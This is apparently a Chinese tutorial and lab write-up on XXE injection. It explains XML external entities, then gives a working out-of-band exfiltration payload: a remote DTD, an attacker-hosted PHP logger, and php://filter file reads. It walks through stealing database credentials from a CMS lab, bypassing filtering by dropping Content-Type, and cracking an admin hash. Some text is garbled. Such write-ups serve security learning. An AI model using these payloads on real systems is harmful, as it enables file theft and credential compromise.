概述
XXE ==>XML External Entity (XML外部实体)
原理:用户输入的数据被当做XML实体代码进行执行
XXE==>用户输入的数据被当做XML代码进行了执行,然后利用DTD部分可以通过SYSTEM关键词发起网络请求从而获得数据
XML
- 可扩展标记语言
- 设计宗旨:传输数据,而非显示数据
- xml标签没有被预定义,需要自定义标签
特点
- XML仅是存文本,不会执行任何事情
- XML可以自己发明标签(允许定义自己的标签和文档结构)
XML是各种应用程序之间进行数据传输的最常见工具,并且在信息存储和描述领域变得越来越流行
简单来说:XML就是存储数据的
外部实体
DTD部分里面的一个特殊的地方(SYSTEM)可以调用外部文件进行XML文件的规划(发起网络请求)
格式:<!ENTITY 实体名称 SYSTEM "URI">
PHP特殊函数
在php中有一个特殊函数:simplexml_load_string()
定义:simplexml_load_string(data,classname,options,ns,is_prefix);
作用:simplexml_load_string() 函数转换形式良好的 XML 字符串为 SimpleXMLElement 对象
危害
- 任意文件读取
- 系统命令执行
- 内网端口探测
- 攻击内网网站
- …
payload
很多时候后端语言解析了XML后并不会输出,故需要一个平台去接收数据
XML读取数据然后发送到接收的平台,然后接收平台存储
XXE 攻击三步骤 ==> 读取信息 信息外带 保存信息
读取信息:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=敏感信息所在路径">
base64加密读取的信息存放在file变量中
XXE可以发起网络请求
思路:
尝试将读取的信息存放在变量a(
a
)
,
然
后
发
起
请
求
,
h
t
t
p
:
/
/
x
.
x
.
x
.
x
/
1.
p
h
p
?
i
d
=
a),然后发起请求,http://x.x.x.x/1.php?id=
a),然后发起请求,http://x.x.x.x/1.php?id=a
自己的公网机器保存收到的传参
1.xml
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://自己公网ip/xxe/2.php?id=%file;'>"
>
%all;
通过2.php文件 接收变量file的传参值
2.php代码:
<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>
以GET方式接收id传入的值,并写入到3.txt
<!ENTITY % remote SYSTEM "http://自己公网ip/xxe/1.xml">
加载1.xml文件
只需要读取文件然后加载1.xml,1.xml会将读取文件的内容发送给2.php。2.php会储存到3.txt
payload:
?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=敏感文件路径">
<!ENTITY % remote SYSTEM "http://自己公网ip/xxe/1.xml">
%remote;
%send;
]>
防御
-
使用开发语言提供的禁用外部实体的方法
-
过滤用户提交的XML数据
关键词:SYSTEM和PUBLIC
靶场
1、进入靶场,观察到是CMS搭建的
2、下载与靶场相同的CMS,导入源码到seay,进行代码审计
3、定位simplexml_load_string函数
4、打开weixin文件夹下的idnex.php
4、代码分析:
simplexml_load_string($postArr)==>将变量postArr转换为对象
&postArr 是一个XML字符串
$postArr = file_get_contents("php://input")
file_get_contents()==>整个文件读入在一个字符串中
php://input==>PHP伪协议,只能在php内部使用;
可以访问请求的原始数据的只读流
往上溯源
第一个if
if ($echostr != “”)==>如果echostr变量不等于空才会执行这个分支
要使得第二个if分支执行,那么echostr变量等于空
第二个if
if ($signature != “” && $echostrechostr== “”)
==>signature变量不等于空 并且 echostr等于空 才会执行该if分支
$signature = $_REQUEST["signature"];
$echostr = $_REQUEST["echostr"]
故可通过传参控制$signature和$echostr
5、观察发现该cms的敏感文件位于conn文件夹下的conn.php
该文件中存放了数据库的用户名、密码、数据库名
读取信息 payload:
6、访问靶场下的weixin页面
7、抓包,传参
传参:?signature=1&echostr=
写入数据:
?xml version=“1.0”?>
%remote;
%send;
]>
8、传参被检测
检测传参 一般只针对$_POST、$_GET、$_REQUEST、$_COOKIE
Content-Type:application/x-www-form-urlencoded
类型为表单
因为是表单,所以才会被POST/GET…接收,故删除Content-Type即可
发送成功
9、访问3.txt,获得信息,进行解码得到
$conn = mysqli_connect(“192.168.0.10”,“xxe”, “teiwo!8#7ERe1DPC”, “scms”);
用户名:xxe
密码:teiwo!8#7ERe1DPC
数据库名:scms
10、通过目录扫描知道有adminer.php,进行访问
登录获取的账号密码数据库名
11、通过执行 select * from SL_admin
得到SL_admin表的所有信息
12、通过提示信息得知flag为管理员的密码
故将admin的A_pwd字段进行md5解码
13、通关